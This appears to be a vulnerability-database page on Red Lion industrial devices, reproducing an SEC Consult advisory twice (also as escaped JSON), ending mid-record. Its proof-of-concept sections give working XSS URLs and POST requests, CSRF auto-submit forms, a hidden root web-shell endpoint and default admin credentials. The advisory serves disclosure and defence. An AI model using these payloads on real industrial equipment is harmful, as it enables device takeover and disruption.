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25 vulnerabilities by redlion
VAR-202204-0229
Vulnerability from variot - Updated: 2023-12-18 13:12Authorized users may install a maliciously modified package file when updating the device via the web user interface. The user may inadvertently use a package file obtained from an unauthorized source or a file that was compromised between download and deployment. Red Lion Controls, Inc. of da50n Firmware contains insufficient validation of data authenticity.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state.
A data forgery issue vulnerability exists in the Red Lion DA50N. No detailed vulnerability details are currently provided
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VAR-202204-0228
Vulnerability from variot - Updated: 2023-12-18 13:12A malicious actor having access to the exported configuration file may obtain the stored credentials and thereby gain access to the protected resource. If the same passwords were used for other resources, further such assets may be compromised. Red Lion Controls, Inc. of da50n A firmware vulnerability related to insufficient protection of credentials exists.Information may be obtained
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VAR-202204-0230
Vulnerability from variot - Updated: 2023-12-18 13:12The weak password on the web user interface can be exploited via HTTP or HTTPS. Once such access has been obtained, the other passwords can be changed. The weak password on Linux accounts can be accessed via SSH or Telnet, the former of which is by default enabled on trusted interfaces. While the SSH service does not support root login, a user logging in using either of the other Linux accounts may elevate to root access using the su command if they have access to the associated password. Red Lion Controls, Inc. of da50n A weak password requirement vulnerability exists in the firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state.
The Red Lion DA50N has a security vulnerability that could allow an attacker to use the su command to escalate to root access
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VAR-201712-0369
Vulnerability from variot - Updated: 2023-12-18 13:08Red Lion HMI panels allow remote attackers to cause a denial of service (software exception) via an HTTP POST request to a long URI that does not exist, as demonstrated by version HMI 2.41 PLC 2.42. Red Lion HMI The panel contains an error handling vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Red Lion HMI panels HMI is the United States Red Lion Controls One of the company's human-machine interface products for industrial control. PLC It is a programmable logic controller. Red Lion HMI panels HMI 2.41 in version PLC 2.42 version has a security vulnerability
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VAR-201805-0207
Vulnerability from variot - Updated: 2023-12-18 12:50A hard-coded cryptographic key vulnerability was identified in Red Lion Controls Sixnet-Managed Industrial Switches running firmware Version 5.0.196 and Stride-Managed Ethernet Switches running firmware Version 5.0.190. Vulnerable versions of Stride-Managed Ethernet switches and Sixnet-Managed Industrial switches use hard-coded HTTP SSL/SSH keys for secure communication. Because these keys cannot be regenerated by users, all products use the same key. The attacker could disrupt communication or compromise the system. CVSS v3 base score: 10, CVSS vector string: (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Red Lion Controls recommends updating to SLX firmware Version 5.3.174
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VAR-202009-0601
Vulnerability from variot - Updated: 2023-12-18 11:29The affected product is vulnerable to reflected cross-site scripting, which may allow an attacker to remotely execute arbitrary code and perform actions in the context of an attacked user on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Exists in a cross-site scripting vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product.
Red Lion N-Tron 702-W/702M12-W has a cross-site scripting vulnerability. SEC Consult Vulnerability Lab Security Advisory < 20200902-0 >
title: Multiple Vulnerabilities
product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W
vulnerable version: <=2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204 impact: High homepage: https://www.redlion.net/ found: 2020-02-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
"For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data."
Source: https://www.redlion.net
Business recommendation:
The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface.
3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF protection is not implemented at all. Such a vulnerability enables an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link. An attacker is able to take over the device by exploiting this vulnerability.
4) Hidden OS Web-Shell Interface - CVE-2020-16204 An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device. Commands can be executed as root on the device.
This endpoint seems to be a leftover of the used Atheros SDK.
5) Known BusyBox Vulnerabilities The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector.
6) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination.
The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime.
Proof of concept:
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS. http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E
2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint "/network.cgi" is the following request:
POST /network.cgi HTTP/1.1 Host: $IP Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021 Content-Length: 915 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Cookie: ui_language=en_US Upgrade-Insecure-Requests: 1
-----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="netmode"
bridge -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="wlanipmode"
0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brip"
192.168.1.202 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brmask"
255.255.255.0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brgw"
192.168.1.1">alert(document.location) -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns1"
-----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns2"
-----------------------------195698564115308644282115103021--
This can also be embedded in the HTML code as shown below:
history.pushState('', '', '/')3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to "SEC Consult" can be done with the following embedded HTML code:
history.pushState('', '', '/')
4) Hidden OS Web-Shell Interface - CVE-2020-16204 The endpoint "/admin.cgi" is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered: * Execute commands in context of the root user * Upload files * Download files * Change access rights All other actions can be done via the command execution. The lack of CSRF protections allows attackers to execute commands on the device by luring a user on malicious web-pages.
5) Known BusyBox Vulnerabilities The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device:
A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability.
ls "pressing "
test 55\;test.txt
6) Outdated Software Components By analyzing the firmware a lot of components are found to be outdated: * BusyBox 1.0.1 * PHP/FI 2.0.1 * Dnsmasq 2.35 * Boa 0.93.15
Vulnerable / tested versions:
the following firmware version has been tested: * Red Lion N-Tron 702-W / 2.0.26 * Red Lion N-Tron 702M12-W / 2.0.26
Vendor contact timeline:
2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. 2020-03-17: Asked for status update; No answer. 2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer. 2020-04-13: Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT. 2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in- formed. 2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion. 2020-08-20: Received CISA draft for an advisory from CERT@VDE. 2020-08-28: Found the published advisory on CISA's website* which was released on 2020-08-27. 2020-09-02: Release of security advisory.
- https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01
Solution:
Upgrade to newer hardware.
Workaround:
None.
Advisory URL:
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult
EOF T. Weber / @2020
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"data": "The affected product is vulnerable to reflected cross-site scripting, which may allow an attacker to remotely execute arbitrary code and perform actions in the context of an attacked user on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Exists in a cross-site scripting vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product. \n\r\n\r\nRed Lion N-Tron 702-W/702M12-W has a cross-site scripting vulnerability. SEC Consult Vulnerability Lab Security Advisory \u003c 20200902-0 \u003e\n=======================================================================\n title: Multiple Vulnerabilities\n product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W\n vulnerable version: \u003c=2.0.26\n fixed version:\n CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208,\n CVE-2020-16204\n impact: High\n homepage: https://www.redlion.net/\n found: 2020-02-28\n by: T. Weber (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult\n Europe | Asia | North America\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"For over forty years, customers around the world have trusted Red Lion\nControls. Our award-winning industrial automation and\nnetworking solutions provide critical information and controls to\nimprove productivity, working with numerous devices and diverse\nprotocols to access data.\"\n\nSource: https://www.redlion.net\n\n\nBusiness recommendation:\n------------------------\nThe vendor recommends to change the hardware and use a newer product. \nSEC Consult recommends to remove the device from productive environments. \nSuch placed payloads cannot be detected via browser-protection mechanisms as\nthey are embedded into the web-interface. \n\n3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208\nCSRF protection is not implemented at all. \nSuch a vulnerability enables an attacker to modify different configurations of\na device by luring an authenticated user to click on a crafted link. An\nattacker is able to take over the device by exploiting this vulnerability. \n\n4) Hidden OS Web-Shell Interface - CVE-2020-16204\nAn undocumented interface, that contains a web-shell to the underlying OS, was\nfound to be present on the device. It is not referenced in the actual menu\nand is also not mentioned in the manual of the device. \nCommands can be executed as root on the device. \n\nThis endpoint seems to be a leftover of the used Atheros SDK. \n\n5) Known BusyBox Vulnerabilities\nThe used BusyBox toolkit in version 1.11.0 is outdated and contains multiple\nknown vulnerabilities. The outdated version was found by IoT Inspector. \n\n6) Outdated and Vulnerable Software Components\nOutdated and vulnerable software components were found on the device during\na quick examination. \n\nThe vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated\ndevice by using the MEDUSA scalable firmware runtime. \n\n\nProof of concept:\n-----------------\n1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210\nThe \"pingtest_action.cgi\" endpoint can be used to trigger reflected XSS. \nhttp://$IP/pingtest_action.cgi?action=pingtest\u0026dst_ip_addr=1\u0026dst_addr_select=127.0.0.1\u0026lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E\n\n2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206\nInjection of a XSS payload is possible on multiple endpoints. An example\nfor permanent XSS on the endpoint \"/network.cgi\" is the following request:\n-------------------------------------------------------------------------------\nPOST /network.cgi HTTP/1.1\nHost: $IP\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021\nContent-Length: 915\nAuthorization: Basic YWRtaW46YWRtaW4=\nConnection: close\nCookie: ui_language=en_US\nUpgrade-Insecure-Requests: 1\n\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"netmode\"\n\nbridge\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"wlanipmode\"\n\n0\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brip\"\n\n192.168.1.202\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brmask\"\n\n255.255.255.0\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brgw\"\n\n192.168.1.1\"\u003e\u003cscript\u003ealert(document.location)\u003c/script\u003e\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"dns1\"\n\n\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"dns2\"\n\n\n-----------------------------195698564115308644282115103021--\n-------------------------------------------------------------------------------\n\nThis can also be embedded in the HTML code as shown below:\n-------------------------------------------------------------------------------\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n \u003cform action=\"http://$IP/network.cgi\" method=\"POST\" enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"netmode\" value=\"bridge\" /\u003e\n \u003cinput type=\"hidden\" name=\"wlanipmode\" value=\"0\" /\u003e\n \u003cinput type=\"hidden\" name=\"brip\" value=\"192\u0026#46;168\u0026#46;1\u0026#46;202\" /\u003e\n \u003cinput type=\"hidden\" name=\"brmask\" value=\"255\u0026#46;255\u0026#46;255\u0026#46;0\" /\u003e\n \u003cinput type=\"hidden\" name=\"brgw\" value=\"192\u0026#46;168\u0026#46;1\u0026#46;1\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert\u0026#40;document\u0026#46;location\u0026#43;\u0026quot;\u0026#32;\u0026gt;\u0026#32;SEC\u0026#45;Consult\u0026quot;\u0026#41;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n \u003cinput type=\"hidden\" name=\"dns1\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"dns2\" value=\"\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n-------------------------------------------------------------------------------\n\n3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208\nCSRF can be triggered on each endpoint as the whole web-interface does not\nimplement any protection mechanisms. Changing the hostname to \"SEC Consult\" can\nbe done with the following embedded HTML code:\n-------------------------------------------------------------------------------\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n \u003cform action=\"http://$IP/system.cgi\" method=\"POST\" enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"hostname\" value=\"SEC\u0026#32;Consult\" /\u003e\n \u003cinput type=\"hidden\" name=\"action\" value=\"chhost\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n-------------------------------------------------------------------------------\n\n4) Hidden OS Web-Shell Interface - CVE-2020-16204\nThe endpoint \"/admin.cgi\" is not referenced within the whole web-interface and\nalso not documented in the manual. By browsing this endpoint, multiple actions\ncan be natively triggered:\n * Execute commands in context of the root user\n * Upload files\n * Download files\n * Change access rights\nAll other actions can be done via the command execution. The lack of CSRF\nprotections allows attackers to execute commands on the device by luring a\nuser on malicious web-pages. \n\n5) Known BusyBox Vulnerabilities\nThe BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on\nan emulated device:\n\nA file with the name \"\\ectest\\n\\e]55;test.txt\\a\" was created to trigger the\nvulnerability. \n-------------------------------------------------------------------------------\n# ls \"pressing \u003cTAB\u003e\"\ntest\n55\\;test.txt\n#\n-------------------------------------------------------------------------------\n\n6) Outdated Software Components\nBy analyzing the firmware a lot of components are found to be outdated:\n * BusyBox 1.0.1\n * PHP/FI 2.0.1\n * Dnsmasq 2.35\n * Boa 0.93.15\n\nVulnerable / tested versions:\n-----------------------------\nthe following firmware version has been tested:\n* Red Lion N-Tron 702-W / 2.0.26\n* Red Lion N-Tron 702M12-W / 2.0.26\n\n\nVendor contact timeline:\n------------------------\n2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. \n2020-03-17: Asked for status update; No answer. \n2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to\n the list of recipients; No answer. \n2020-04-13: Requested support for coordination from CERT@VDE for the advisory. \n Sent the advisory to the CERT. \n2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in-\n formed. \n2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that\n they are waiting for an update of Red Lion. \n2020-08-20: Received CISA draft for an advisory from CERT@VDE. \n2020-08-28: Found the published advisory on CISA\u0027s website* which was released\n on 2020-08-27. \n2020-09-02: Release of security advisory. \n\n* https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01\n\nSolution:\n---------\nUpgrade to newer hardware. \n\n\nWorkaround:\n-----------\nNone. \n\n\nAdvisory URL:\n-------------\nhttps://www.sec-consult.com/en/vulnerability-lab/advisories/index.html\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\n\nSEC Consult\nEurope | Asia | North America\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It\nensures the continued knowledge gain of SEC Consult in the field of network\nand application security to stay ahead of the attacker. The SEC Consult\nVulnerability Lab supports high-quality penetration testing and the evaluation\nof new offensive and defensive technologies for our customers. Hence our\ncustomers obtain the most current information about vulnerabilities and valid\nrecommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://www.sec-consult.com/en/career/index.html\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://www.sec-consult.com/en/contact/index.html\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF T. Weber / @2020\n\n\n",
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VAR-202009-0592
Vulnerability from variot - Updated: 2023-12-18 11:23The affected product is vulnerable to stored cross-site scripting, which may allow an attacker to remotely execute arbitrary code to gain access to sensitive data on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Exists in a cross-site scripting vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product.
Red Lion N-Tron 702-W/702M12-W has a cross-site scripting vulnerability. SEC Consult Vulnerability Lab Security Advisory < 20200902-0 >
title: Multiple Vulnerabilities
product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W
vulnerable version: <=2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204 impact: High homepage: https://www.redlion.net/ found: 2020-02-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
"For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data."
Source: https://www.redlion.net
Business recommendation:
The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments. An attacker is also able to perform actions in the context of the attacked user. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface. An attacker is also able to perform actions in the context of the attacked user.
3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF protection is not implemented at all. Such a vulnerability enables an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link. An attacker is able to take over the device by exploiting this vulnerability.
4) Hidden OS Web-Shell Interface - CVE-2020-16204 An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device. Commands can be executed as root on the device.
This endpoint seems to be a leftover of the used Atheros SDK.
5) Known BusyBox Vulnerabilities The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector.
6) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination.
The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime.
Proof of concept:
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS. http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E
2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint "/network.cgi" is the following request:
POST /network.cgi HTTP/1.1 Host: $IP Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021 Content-Length: 915 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Cookie: ui_language=en_US Upgrade-Insecure-Requests: 1
-----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="netmode"
bridge -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="wlanipmode"
0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brip"
192.168.1.202 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brmask"
255.255.255.0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brgw"
192.168.1.1">alert(document.location) -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns1"
-----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns2"
-----------------------------195698564115308644282115103021--
This can also be embedded in the HTML code as shown below:
history.pushState('', '', '/')3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to "SEC Consult" can be done with the following embedded HTML code:
history.pushState('', '', '/')
4) Hidden OS Web-Shell Interface - CVE-2020-16204 The endpoint "/admin.cgi" is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered: * Execute commands in context of the root user * Upload files * Download files * Change access rights All other actions can be done via the command execution. The lack of CSRF protections allows attackers to execute commands on the device by luring a user on malicious web-pages.
5) Known BusyBox Vulnerabilities The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device:
A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability.
ls "pressing "
test 55\;test.txt
6) Outdated Software Components By analyzing the firmware a lot of components are found to be outdated: * BusyBox 1.0.1 * PHP/FI 2.0.1 * Dnsmasq 2.35 * Boa 0.93.15
Vulnerable / tested versions:
the following firmware version has been tested: * Red Lion N-Tron 702-W / 2.0.26 * Red Lion N-Tron 702M12-W / 2.0.26
Vendor contact timeline:
2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. 2020-03-17: Asked for status update; No answer. 2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer. 2020-04-13: Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT. 2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in- formed. 2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion. 2020-08-20: Received CISA draft for an advisory from CERT@VDE. 2020-08-28: Found the published advisory on CISA's website* which was released on 2020-08-27. 2020-09-02: Release of security advisory.
- https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01
Solution:
Upgrade to newer hardware.
Workaround:
None.
Advisory URL:
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult
EOF T. Weber / @2020
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"data": "The affected product is vulnerable to stored cross-site scripting, which may allow an attacker to remotely execute arbitrary code to gain access to sensitive data on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Exists in a cross-site scripting vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product. \n\r\n\r\nRed Lion N-Tron 702-W/702M12-W has a cross-site scripting vulnerability. SEC Consult Vulnerability Lab Security Advisory \u003c 20200902-0 \u003e\n=======================================================================\n title: Multiple Vulnerabilities\n product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W\n vulnerable version: \u003c=2.0.26\n fixed version:\n CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208,\n CVE-2020-16204\n impact: High\n homepage: https://www.redlion.net/\n found: 2020-02-28\n by: T. Weber (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult\n Europe | Asia | North America\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"For over forty years, customers around the world have trusted Red Lion\nControls. Our award-winning industrial automation and\nnetworking solutions provide critical information and controls to\nimprove productivity, working with numerous devices and diverse\nprotocols to access data.\"\n\nSource: https://www.redlion.net\n\n\nBusiness recommendation:\n------------------------\nThe vendor recommends to change the hardware and use a newer product. \nSEC Consult recommends to remove the device from productive environments. An attacker is also able to perform actions in the\ncontext of the attacked user. \nSuch placed payloads cannot be detected via browser-protection mechanisms as\nthey are embedded into the web-interface. \nAn attacker is also able to perform actions in the context of the attacked user. \n\n3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208\nCSRF protection is not implemented at all. \nSuch a vulnerability enables an attacker to modify different configurations of\na device by luring an authenticated user to click on a crafted link. An\nattacker is able to take over the device by exploiting this vulnerability. \n\n4) Hidden OS Web-Shell Interface - CVE-2020-16204\nAn undocumented interface, that contains a web-shell to the underlying OS, was\nfound to be present on the device. It is not referenced in the actual menu\nand is also not mentioned in the manual of the device. \nCommands can be executed as root on the device. \n\nThis endpoint seems to be a leftover of the used Atheros SDK. \n\n5) Known BusyBox Vulnerabilities\nThe used BusyBox toolkit in version 1.11.0 is outdated and contains multiple\nknown vulnerabilities. The outdated version was found by IoT Inspector. \n\n6) Outdated and Vulnerable Software Components\nOutdated and vulnerable software components were found on the device during\na quick examination. \n\nThe vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated\ndevice by using the MEDUSA scalable firmware runtime. \n\n\nProof of concept:\n-----------------\n1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210\nThe \"pingtest_action.cgi\" endpoint can be used to trigger reflected XSS. \nhttp://$IP/pingtest_action.cgi?action=pingtest\u0026dst_ip_addr=1\u0026dst_addr_select=127.0.0.1\u0026lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E\n\n2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206\nInjection of a XSS payload is possible on multiple endpoints. An example\nfor permanent XSS on the endpoint \"/network.cgi\" is the following request:\n-------------------------------------------------------------------------------\nPOST /network.cgi HTTP/1.1\nHost: $IP\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021\nContent-Length: 915\nAuthorization: Basic YWRtaW46YWRtaW4=\nConnection: close\nCookie: ui_language=en_US\nUpgrade-Insecure-Requests: 1\n\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"netmode\"\n\nbridge\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"wlanipmode\"\n\n0\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brip\"\n\n192.168.1.202\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brmask\"\n\n255.255.255.0\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brgw\"\n\n192.168.1.1\"\u003e\u003cscript\u003ealert(document.location)\u003c/script\u003e\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"dns1\"\n\n\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"dns2\"\n\n\n-----------------------------195698564115308644282115103021--\n-------------------------------------------------------------------------------\n\nThis can also be embedded in the HTML code as shown below:\n-------------------------------------------------------------------------------\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n \u003cform action=\"http://$IP/network.cgi\" method=\"POST\" 